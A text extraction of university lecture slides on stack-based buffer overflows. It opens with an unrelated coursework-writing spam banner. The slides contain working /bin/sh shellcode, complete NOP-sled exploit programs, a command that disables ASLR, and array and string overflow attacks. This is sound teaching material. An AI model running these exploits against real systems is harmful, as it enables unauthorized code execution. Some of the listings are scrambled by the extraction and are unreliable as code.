程序代写代做代考 assembly kernel go data structure assembler 7CCSMSEN: Security Engineering

7CCSMSEN: Security Engineering
Application Security Pt2
Lorenzo Cavallaro

http://s2lab.kcl.ac.uk
Systems Security Research Lab – Cybersecurity Research Group Department of Informatics, King’s College London
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 1 / 43

Part I
Stack-based overflows and shellcode
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 2 / 43

Stack Overflow
Data is copied without checking boundaries
Data “overflows” a pre-allocated buffer and overwrites the return address
Normally this causes a segmentation fault
If correctly crafted, it is possible overwrite the return address with a user-defined value It is possible to cause a jump to user-defined code (e.g., code that invokes a shell) The code may be part of the overflowing data (or not)
The code will be executed with the privileges of the running program
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 3 / 43

“Overflowing” Functions
gets() – note that data cannot contain newlines or EOFs void main() {
char buf[512];
gets(buf);}
strcpy(), strcat()
int main(int argc, char ** argv) {
char buf[512];
strcpy(buf, argv[1]);}
sprintf(), vsprintf(), scanf(), sscanf(), fscanf() void main() {
char buf[512];
sprintf(buf, “Debug: program %s is starting\n”,
argv[0]);}
and also your own custom input routines…
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 4 / 43

A Vulnerable Program
1 /∗ vuln.c ∗/
2
3 void foobar(char ∗str) 4{
5 char buffer[100];
6 strcpy(buffer, str);
7}
8
9 int main(int argc, char ∗∗argv) 0{
1 if(!argv[1]) return −1;
2 foobar(argv[1]);
3 exit(0);
4}
Content of the stack when argv[1] contains ’A’ repeated 108 times:
buffer
EBP retaddr
i=0
Lorenzo Cavallaro (S2 Lab)
7CCSMSEN 5 / 43

A Vulnerable Program
1 /∗ vuln.c ∗/
2
3 void foobar(char ∗str) 4{
5 char buffer[100];
6 strcpy(buffer, str);
7}
8
9 int main(int argc, char ∗∗argv) 0{
1 if(!argv[1]) return −1;
2 foobar(argv[1]);
3 exit(0);
4}
Content of the stack when argv[1] contains ’A’ repeated 108 times:
buffer
EBP retaddr
i=0
Lorenzo Cavallaro (S2 Lab)
7CCSMSEN 5 / 43

A Vulnerable Program
1 /∗ vuln.c ∗/
2
3 void foobar(char ∗str) 4{
5 char buffer[100];
6 strcpy(buffer, str);
7}
8
9 int main(int argc, char ∗∗argv) 0{
1 if(!argv[1]) return −1;
2 foobar(argv[1]);
3 exit(0);
4}
Content of the stack when argv[1] contains ’A’ repeated 108 times: buffer EBP retaddr
AAAAAAAAAA…………AAAAAAAAAA
i = 100
Lorenzo Cavallaro (S2 Lab)
7CCSMSEN 5 / 43

A Vulnerable Program
1 /∗ vuln.c ∗/
2
3 void foobar(char ∗str) 4{
5 char buffer[100];
6 strcpy(buffer, str);
7}
8
9 int main(int argc, char ∗∗argv) 0{
1 if(!argv[1]) return −1;
2 foobar(argv[1]);
3 exit(0);
4}
Content of the stack when argv[1] contains ’A’ repeated 108 times: buffer EBP retaddr
AAAAAAAAAA…………AAAAAAAAAAAAAA
i = 104
Lorenzo Cavallaro (S2 Lab)
7CCSMSEN 5 / 43

A Vulnerable Program
1 /∗ vuln.c ∗/
2
3 void foobar(char ∗str) 4{
5 char buffer[100];
6 strcpy(buffer, str);
7}
8
9 int main(int argc, char ∗∗argv) 0{
1 if(!argv[1]) return −1;
2 foobar(argv[1]);
3 exit(0);
4}
Content of the stack when argv[1] contains ’A’ repeated 108 times: buffer EBP retaddr
AAAAAAAAAA…………AAAAAAAAAAAAAAAAAA
i = 108
Lorenzo Cavallaro (S2 Lab)
7CCSMSEN 5 / 43

A Vulnerable Program
1 /∗ vuln.c ∗/
2
3 void foobar(char ∗str) 4{
5 char buffer[100];
6 strcpy(buffer, str);
7}
8
9 int main(int argc, char ∗∗argv) 0{
1 if(!argv[1]) return −1;
2 foobar(argv[1]);
3 exit(0);
4}
Where will execution resume when foobar() terminates?
Content of the stack when argv[1] contains ’A’ repeated 108 times: buffer EBP retaddr
AAAAAAAAAA…………AAAAAAAAAAAAAAAAAA
i = 108
Lorenzo Cavallaro (S2 Lab)
7CCSMSEN 5 / 43

An Example
sullivan@galilei:~$ gcc -o vuln vuln.c sullivan@galilei:~$ objdump -d vuln
vuln: file format elf32-i386
Disassembly of section .init: …
08048394 :
8048394: 8048395: 8048397: 804839a: 804839d: 80483a1: 80483a4: 80483a7: 80483ac: 80483ad:
55
89 e5 83 ec 8b 45 89 44 8d 45 89 04 e8 28 c9
c3
78 08 24 9c 24 ff
04
ff ff
push %ebp
mov %esp,%ebp
sub $0x78,%esp
mov 0x8(%ebp),%eax
mov %eax,0x4(%esp)
lea 0xffffff9c(%ebp),%eax mov %eax,(%esp)
call 80482d4 leave
ret

sullivan@galilei:~$ ./vuln $(perl -e ’print “X”x100; print “Y”x4; print “\x01\x02\x03\x04”;’) Segmentation fault
sullivan@galilei:~$ strace -i ./vuln $(perl -e ’print “X”x100; print “Y”x4; print “\x01\x02\x03\x04”;’) …
[04030201] — SIGSEGV (Segmentation fault) @ 0 (0) —
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 6 / 43

Anatomy of an Attack
Goal
To hijack the execution of the target application toward some code “injected” by the attacker
How?
1 Inject the code to be executed (shellcode) into a writable memory region (stack, .data, heap, …)
2 Alter a code pointer inside the VA of the process (e.g., return address) to hijack the execution flow
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 7 / 43

Injection Vector
NOP sled
shellcode
shellcode address
Shellcode: a sequence of machine instructions to be executed (e.g. execve(“/bin/sh”)) Shellcode address: the address of the memory region that contains the shellcode
NOP sled (optional): a sequence of do-nothing instructions (nop). It is used to ease the exploitation: attacker can jump anywhere inside, and will eventually reach the shellcode
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 8 / 43

An Example
Creation of the Injection Vector
sullivan@galilei:/tmp$ ls -l shellcode
-rw-r–r– 1 roby roby 45 2007-11-09 19:22 shellcode sullivan@galilei:/tmp$ ndisasm -b 32 shellcode
00000000 EB16 00000002 5B 00000003 31C0 00000005 891B 00000007 894304 0000000A 88430F 0000000D 89D9 0000000F 83C308 00000012 31D2 00000014 B00B 00000016 CD80 …
sullivan@galilei:/tmp$ perl 00000000 90
jmp short 0x18 pop ebx
xor eax,eax
mov [ebx],ebx
mov [ebx+0x4],eax mov [ebx+0xf],al mov ecx,ebx
add ebx,byte +0x8 xor edx,edx
mov al,0xb
int 0x80
-e ’print “\x90″’ | ndisasm -b 32 – nop
sullivan@galilei:/tmp$ (
> perl -e ’print “\x90″x59’;
> cat shellcode;
> perl -e ’print “\xca\xf8\xff\xbf”’; > ) > iv
NOP sled (59 byte) shellcode (45 byte) shellcode address (4 byte)
Lorenzo Cavallaro (S2 Lab)
7CCSMSEN 9 / 43

An Example
Exploitation
sullivan@galilei:/tmp$ hd iv
00000000
*
00000030 00000040 00000050 00000060 0000006c
90 90 90 90 90 90 90 90 90 90 90 90
89 1b 89 43 04 88 0b cd 80 e8 e5 ff 2f62696e2f73
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 eb 16 5b 31 c0
43 0f 89 d9 83 c3 08 31 d2 b0 ff ff 41 41 41 41 42 42 42 42 6844 caf8ffbf
|…………….| |……….. ̈e.[1`A|
|…C..C..`U.~A.1`O◦| |. ́I.`ea ̊ ̈y ̈y ̈yAAAABBBB| |/bin/shD#ø ̈y¿|
sullivan@galilei:/tmp$ ps
PID TTY 6811 pts/1 6838 pts/1
TIME CMD 00:00:00 bash
00:00:00 ps sullivan@galilei:/tmp$ ./vuln $(cat iv)
sullivan@galilei:/tmp$ ps
PID TTY 6811 pts/1 6840 pts/1 6849 pts/1
TIME CMD 00:00:00 bash
00:00:00 sh
00:00:00 ps
Lorenzo Cavallaro (S2 Lab)
7CCSMSEN 10 / 43

Shellcode
The set of instructions executed as the result of the attack Typically a shellcode executes a shell
void main() {
char *name[2];
name[0] = “/bin/sh”;
name[1] = NULL;
execve(name[0], name, NULL);
exit(0); }
System calls in assembly are invoked by setting parameters in registers and then calling the software interrupt (0x80 in linux)
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 11 / 43

execve
(gdb) disassemble main
Dump of assembler code for function main:
0x08048250 :
0x08048251 :
0x08048253 :
0x08048256 :
0x08048259 :
0x08048261 :
0x08048269 :
0x0804826d :
0x08048275 :
0x08048279 :
0x0804827d :
0x08048280 :
0x08048285 :
0x0804828c :
push %ebp
mov %esp,%ebp
and $0xfffffff0,%esp
sub $0x20,%esp
movl $0x80a6f68,0x18(%esp)
movl $0x0,0x1c(%esp)
mov 0x18(%esp),%eax
movl $0x0,0x8(%esp)
lea 0x18(%esp),%edx
mov %edx,0x4(%esp)
mov %eax,(%esp)
call 0x804f5c0
movl $0x0,(%esp)
call 0x8048af0
Lorenzo Cavallaro (S2 Lab)
7CCSMSEN 12 / 43

execve
(gdb) disassemble execve
Dump of assembler code for function execve:
0x0804f5c0 :
0x0804f5c1 :
0x0804f5c3 :
0x0804f5c6 :
0x0804f5c7 :
0x0804f5ca :
0x0804f5cd :
0x0804f5d2 :

(gdb) x/s 0x80a6f68
0x80a6f68: “/bin/sh”
push %ebp
mov %esp,%ebp
mov 0x10(%ebp),%edx
push %ebx
mov 0xc(%ebp),%ecx
mov 0x8(%ebp),%ebx
mov $0xb,%eax
int $0x80
Lorenzo Cavallaro (S2 Lab)
7CCSMSEN 13 / 43

Shellcode
We need the null-terminated string “/bin/sh” somewhere in memory (filename parameter)
We need the address of the string “/bin/sh” somewhere in memory followed by a NULL pointer (argv parameter)
Have the address of a NULL long word somewhere in memory (envp parameter) We will reuse the null pointer at the end of argv
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 14 / 43

The String Address
The position of the code is unknown
We need a way to find out “where we are” in memory
The “call” instruction saves the IP on the stack and jumps to the destination address
If we use a “jmp” instruction to a “call” instruction that jumps back to the instruction right after the jump, we have the address of the instruction after the “call” instruction on the stack
Let’s put a “call” instruction right before the “/bin/sh” string
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 15 / 43

The String Address
The position of the code is unknown
We need a way to find out “where we are” in memory
The “call” instruction saves the IP on the stack and jumps to the destination address
If we use a “jmp” instruction to a “call” instruction that jumps back to the instruction right after the jump, we have the address of the instruction after the “call” instruction on the stack
Let’s put a “call” instruction right before the “/bin/sh” string
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 15 / 43

The String Address
The position of the code is unknown
We need a way to find out “where we are” in memory
The “call” instruction saves the IP on the stack and jumps to the destination address
If we use a “jmp” instruction to a “call” instruction that jumps back to the instruction right after the jump, we have the address of the instruction after the “call” instruction on the stack
Let’s put a “call” instruction right before the “/bin/sh” string
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 15 / 43

Shellcode
shellcode.s: first attempt
.data
.globl shellcode
shellcode:
jmp 1f # jump forward to the call instr
0: popl %esi # save “/bin/sh” address in %esi
movb
movl
movl
movl
movl
leal
leal
int
movl
movl
int
$0x0,0x7(%esi) # put ‘\0’ after “/bin/sh”
%esi,0x8(%esi) # store addr of “/bin/sh” after “/bin/sh\0”
$0x0,0xc(%esi) # put NULL pointer after “/bin/sh\0addr”
$0xb,%eax # syscall index for execve in %eax
%esi,%ebx # put address of “/bin/sh\0” in %ebx
0x8(%esi),%ecx # put address of the argv in %ecx
0xc(%esi),%edx # put address of NULL pointer (envp) in %edx
1: call
.string “/bin/sh”
$0x80
$0x1, %eax
$0x0, %ebx
$0x80
0b
# call execve
# syscall index for exit in %eax
# return value in %ebx
# call exit
# push address of string, then go back to pop
Lorenzo Cavallaro
(S2 Lab)
7CCSMSEN 16 / 43

Shellcode
Memory layout
int
call
/ b i n / s h \0
(pointer)
NULL
0 4 8 12
call sys_execve %eax filename “/bin/sh” %ebx argv {“/bin/sh”, NULL} %ecx envp {NULL} %edx
0xb
(pointer)
(pointer)
(pointer)
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 17 / 43

Testing the Shellcode
unsigned char code[] =
“\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x0
“\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x8
“\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xf
“\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3”;
int
main(void)
{
void (*f)(void);
f = (void (*)(void))code;
f(); }
sullivan@galilei:/tmp$ ./shellcode
bash$
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 18 / 43

Fixing the Shellcode
The shell code is usually copied into a string buffer
Any null byte in the shell code would stop the copying procedure Null bytes must be eliminated
movb $0x0,0x7(%esi) and movl $0x0,0xc(%esi) become xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movl $0xb,%eax becomes movb $0xb,%al movl $0x1,%eax and movl $0x0,%ebx become
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 19 / 43

Guessing the Buffer Address
In most cases the address of the buffer is not known
It has to be “guessed” (and the guess must be VERY precise)
The stack address of a program can be obtained by using the function
unsigned long get_sp(void) {
__asm__(“movl %esp,%eax”);
}
Given the same environment and knowing the size of command- line parameters, the address of the stack can be roughly guessed
We also have to guess the offset of the buffer with respect to the stack pointer
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 20 / 43

Example
Vulnerable Program
#include
#include
#include
int
main(int argc, char **argv)
{
char buf[512];
memset(buf, 0, sizeof(buf));
if (argc > 1)
strcpy(buf, argv[1]);
printf(“buf@%p: %s\n”, buf, buf);
return 0; }
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 21 / 43

Example I
Exploit I
#include
#include
#include
unsigned char code[] =
“\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x8d\x4b\x08\x89\x43”
“\x0c\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh”;
__inline__ unsigned int get_esp(void) {
unsigned int res;
__asm__(“movl %%esp, %0” : “=a” (res));
return res;
}
int main(int argc, char **argv) {
unsigned int addr, i, offset = 0;
char buf[768];
char *n[] = { VULN, buf, NULL };
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 22 / 43

Example II
Exploit I
if (argv[1])
offset = strtol(argv[1], NULL, 10);
addr = get_esp() + offset;
fprintf(stderr, “Using address: %#010x\n”, addr);
memset(buf, 0, sizeof(buf));
for (i = 0; i < sizeof(buf); i += 4) *(unsigned int *)(buf+i) = addr; memset(buf, 0x90, sizeof(buf)/2); memcpy(buf+sizeof(buf)/2, code, strlen(code)); execve(n[0], n, NULL); perror("execve"); exit(1); } Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 23 / 43 Exploitation example Result $ CFLAGS="-m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2" $ cc $CFLAGS -o vuln vuln.c $ cc $CFLAGS -o exploit exploit.c shellcode.s $ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space 0 $ ./exploit 1500 Using address: 0x0xbffffa34 buf@0xbffff970:
bash$
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 24 / 43

The Buffer Address for Local Exploits
bffffe40 40 fe ff bf 04 00 00 00 @…….
bffffe48000000001331e7b7 bffffe5003000000e4feffbf bffffe58f4feffbff4efffb7 bffffe6018f9ffb701000000
bffffed8 dc fe ff bf 18 f9 ff b7 …….. bffffee0 03 00 00 00 c6 ff ff bf …….. bffffee8ceffffbfd5ffffbf …….. bffffef000000000dcffffbf …….. bffffef8 e8 ff ff bf 00 00 00 00 …….. bfffff002000000014f4fdb7 ……. bfffffb8 91 f7 e1 69 36 38 36 00 …i686. bfffffc0 00 00 00 00 00 00 2e 2f ……./
main’s caller
argc
argv
envp
argv envp
…..1..
……..
……..
……..
bfffffc8612e6f7574007061 bfffffd072616d3100706172 bfffffd8616d3200656e7631 bfffffe03d76616c75653100 bfffffe8656e76323d76616c bffffff0756532002e2f612e
bffffff8 6f 75 74 00 00 00 00 00 out…..
a.out.pa
ram1.par
am2.env1
=value1. envp[0] env2=val envp[1] ue2../a. filename
argv[0]
argv[1]
argv[2]
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 25 / 43

Example I
Exploit II
#include
#include
#include
#define VULN “./vuln”
unsigned char code[] =
“\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x8d\x4b\x08\x89\x43”
“\x0c\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh”;
int
main(void)
{
unsigned int addr, i;
char addrs[768];
char *n[] = { VULN, addrs, NULL };
char *env[] = { code, NULL };
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 26 / 43

Example II
Exploit II
addr = 0xc0000000 – 4 – strlen(VULN) – 1 – strlen(code) – 1;
fprintf(stderr, “Using address: %#010x\n”, addr);
memset(addrs, 0, sizeof(addrs));
for (i = 0; i < sizeof(addrs); i += 4) *(unsigned int *)(addrs+i) = addr; execve(n[0], n, env); perror("execve"); exit(1); } Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 27 / 43 Example I Exploit II: Result $ CFLAGS="-m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2" $ cc $CFLAGS -o vuln vuln.c $ cc $CFLAGS -o exploit exploit.c shellcode.s $ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space 0 sullivan@galilei:$ ./xl Using address: 0xbffffd1 buf@0xbffff948:
$
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 28 / 43

Other Code Pointers I
Stack-based buffer overflows that affect the return address of a function are only the most obvious source of problems
Any reference to a value that can be overwritten can raise a security vulnerability
Changing the value of a variable
Pointers to strings (e.g., /tmp/tempfile.txt becomes /etc/shadow)
Integer values (e.g., value of the uid variable that is passed to setuid(uid)) Changing the value of the saved base pointer
By overwriting the old base pointer it is possible to force the process to use a function frame determined by the attacker when returning from a function
An additional return operation would jump to a destination selected by the attacker
Changing the value of a function pointer
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 29 / 43

Other Code Pointers II
The return adress is not the only code pointer Other alternatives:
1 Function pointers
2 GOT (Global Offset Table)
3 Destructors (.dtors)
4 …
In general: any writable code pointer you may find in the VA of the target
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 30 / 43

Constructors & Destructors
Functions invoked before (constructor) and after (destructor) the main() procedure of the application
Addresses are stored in the .ctors and .dtors sections
These sections are present even if the program has no constructors or destructors To declare a {con,de}structor (GCC syntax):
void constructor name() attribute ((constructor)); void destructor name() attribute ((destructor));
Lorenzo Cavallaro (S2 Lab)
7CCSMSEN
31 / 43

Constructors & destructors
/∗ constr.c ∗/
void constructor() attribute ((constructor)); void destructor() attribute ((destructor));
void constructor()
{
printf(”constructor\n”);
}
void destructor()
{
printf(”destructor\n”);
}
int main()
{
printf(”main\n”); return 0;
}
Output:
$ ./constr
constructor
main
destructor
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 32 / 43
1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9

Constructors & destructors
sullivan@galilei:~$ objdump -j .ctors -s constr
constr: file format elf32-i386
Contents of section .ctors:
80494dc ffffffff 54830408 00000000 ….T…….
sullivan@galilei:~$ objdump -j .dtors -s constr
constr: file format elf32-i386
Contents of section .dtors:
80494e8 ffffffff 68830408 00000000 ….h…….
What can we do?
Focus on destructors (why?)
Alter the .dtors section, in order to hijack the execution flow
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 33 / 43

Constructors & destructors
sullivan@galilei:~$ objdump -j .ctors -s constr
constr: file format elf32-i386
Contents of section .ctors:
80494dc ffffffff 54830408 00000000 ….T…….
sullivan@galilei:~$ objdump -j .dtors -s constr
constr: file format elf32-i386
Contents of section .dtors:
80494e8 ffffffff 68830408 00000000 ….h…….
What can we do?
Focus on destructors (why?)
Alter the .dtors section, in order to hijack the execution flow
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 33 / 43

Other Overflowing Attacks I
Longjump overflows
By overflowing the information that setjump() stores (e.g., base pointer and program counter) it is possible to jump to arbitrary code
Array overflows
Exploit code that uses user-provided input as an index in an array
Off-by-one overflows
Exploit situations in which only a single byte can be overwritten
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 34 / 43

Other Overflowing Attacks II
Non-terminated string overflow
If a string under the attacker’s control is not null-terminated, a subsequent strcpy() may cause an overflow
Integer overflows
Exploit mistakes in the use of (signed, unsigned) integer values
Return into libc
Allows to bypass non-executable stack protection by jumping directly into functions in the
libc library
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 35 / 43

Data Overflow
data and bss Overflows
Variables and function pointers in the data and bss segments can be the target of a
buffer overflow attack (sometimes these attacks are called heap overflows)
#define MAX_STR_LENGTH 16
/* These variables will be allocated in the bss */
static char buffer[MAX_STR_LENGTH];
static char *filename;
int main(int argc, char *argv[])
{
int fd = 0, count = 0;
char read_buf[BUFSIZE];
filename = argv[1];
checkfile(filename);
strcpy(buffer, argv[2]);
fd = open(filename, O_RDONLY);
do {
count = read(fd, read_buf, BUFSIZE);
write(0, read_buf, count);
} while(count == BUFSIZE);
return 0;
}
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 36 / 43

Longjmp Overflow
Exploiting longjmp
setjump() and longjump() are used to perform non-local, inter-procedural direct control transfer from one point in a program to another
Similar to a goto that restores the program state
A setjump() call saves the context of a program in a data structure
When used to save the environment, setjmp(env) returns 0
A longjmp() call restores the context of the program to its original state
When longjmp(env, x) is called, it is as if setjmp(env) returned x
This mechanism can be used to perform exception/error handling and to implement
user-space threading
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 37 / 43

Array Overflow
Array Overflow
This type of overflow exploits the lack of boundary checks in the value used to index an array
Sometimes they are particularly easy to exploit because they allow for direct assignment of memory values
Note that depending on the type of array it is possible to modify only memory values that conform to the data structure in the array
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 38 / 43

Array Overflow
Array Overflow
Example I
#include
#include
int main(int argc, char *argv[])
{
int array[8];
int index;
int value;
index = (int) strtol(argv[1], NULL, 10);
value = (int) strtoul(argv[2], NULL, 16);
array[index] = value;
return 0; }
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 39 / 43

Array Overflow
Array Overflow
Example II
#include
#include
int main(int argc, char *argv[])
{
int array[8];
int index;
int value;
index = (int) strtol(argv[1], NULL, 10);
value = (int) strtoul(argv[2], NULL, 16);
array[index] = value;
return 0; }
$ ./x
shellcode is at 0xbffff5fe
$ ./arrayoverflow 11 0xbffff5fe
#
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 40 / 43

Off-by-one Overflows
Off-by-one Overflows
These attacks are similar to array overflows, with the difference that only one element above the array capacity is overwritten
Can be used to modify the least significant byte of pointers “Frame Pointer Overwrite” by klog, Phrack Magazine, 9(55), 1999
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 41 / 43

Non-terminated String Overflow
A Carefully (?) Developed Program
int checkpwd(char *p)
{
char mypwd[512];
strcpy(mypwd, p); /* creates copy of the password */
/* Performs the check on the copy… */
printf(“Checking password %s\n”, mypwd);
return 0;
}
int main (int argc, char *argv[])
{
char username[512];
char password[512];
strncpy(password, argv[1], 512);
strncpy(username, argv[2], 512);
printf(“Checking password %s for user %s\n”, password, username);
return checkpwd(password);
}
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 42 / 43

Non-terminated String Overflow
Non-terminated String Overflow
Some functions, such as strncpy, limit the amount of data copied in the destination buffer but do not include a terminating zero when the limit is reached
If adjacent buffers are not null-terminated it is possible to cause the copying of an
excessive amount of information
% ./checkpwd ‘python -c ’print “A” * 512’‘ \
‘python -c ’print “AAAAAAAAAAAA\x70\xf4\xff\xbf”’‘
#
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 43 / 43